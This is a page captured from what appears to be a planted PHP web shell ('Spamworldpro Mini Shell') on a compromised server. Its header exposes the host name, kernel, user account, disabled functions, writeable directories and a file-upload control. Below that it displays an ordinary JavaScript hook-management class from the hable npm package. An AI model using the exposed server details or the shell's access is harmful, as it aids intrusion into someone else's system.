Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/vreg/node_modules/hable/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/vreg/node_modules/hable/src/hable.js
import { serial, flatHooks } from './utils'

export default class Hookable {
  constructor (logger = console) {
    this._logger = logger
    this._hooks = {}
    this._deprecatedHooks = {}

    // Allow destructuring hook and callHook functions out of instance object
    this.hook = this.hook.bind(this)
    this.callHook = this.callHook.bind(this)
  }

  hook (name, fn) {
    if (!name || typeof fn !== 'function') {
      return
    }

    const originalName = name
    let deprecatedHook
    while (this._deprecatedHooks[name]) {
      deprecatedHook = this._deprecatedHooks[name]
      if (typeof deprecatedHook === 'string') {
        deprecatedHook = { to: deprecatedHook }
      }
      name = deprecatedHook.to
    }
    if (deprecatedHook) {
      if (!deprecatedHook.message) {
        this._logger.warn(
          `${originalName} hook has been deprecated` +
          (deprecatedHook.to ? `, please use ${deprecatedHook.to}` : '')
        )
      } else {
        this._logger.warn(deprecatedHook.message)
      }
    }

    this._hooks[name] = this._hooks[name] || []
    this._hooks[name].push(fn)
  }

  deprecateHook (old, name) {
    this._deprecatedHooks[old] = name
  }

  deprecateHooks (deprecatedHooks) {
    Object.assign(this._deprecatedHooks, deprecatedHooks)
  }

  addHooks (configHooks) {
    const hooks = flatHooks(configHooks)
    for (const key in hooks) {
      this.hook(key, hooks[key])
    }
  }

  async callHook (name, ...args) {
    if (!this._hooks[name]) {
      return
    }
    try {
      await serial(this._hooks[name], fn => fn(...args))
    } catch (err) {
      if (name !== 'error') {
        await this.callHook('error', err)
      }
      if (this._logger.fatal) {
        this._logger.fatal(err)
      } else {
        this._logger.error(err)
      }
    }
  }

  clearHook (name) {
    if (name) {
      delete this._hooks[name]
    }
  }

  clearHooks () {
    this._hooks = {}
  }
}

Spamworldpro Mini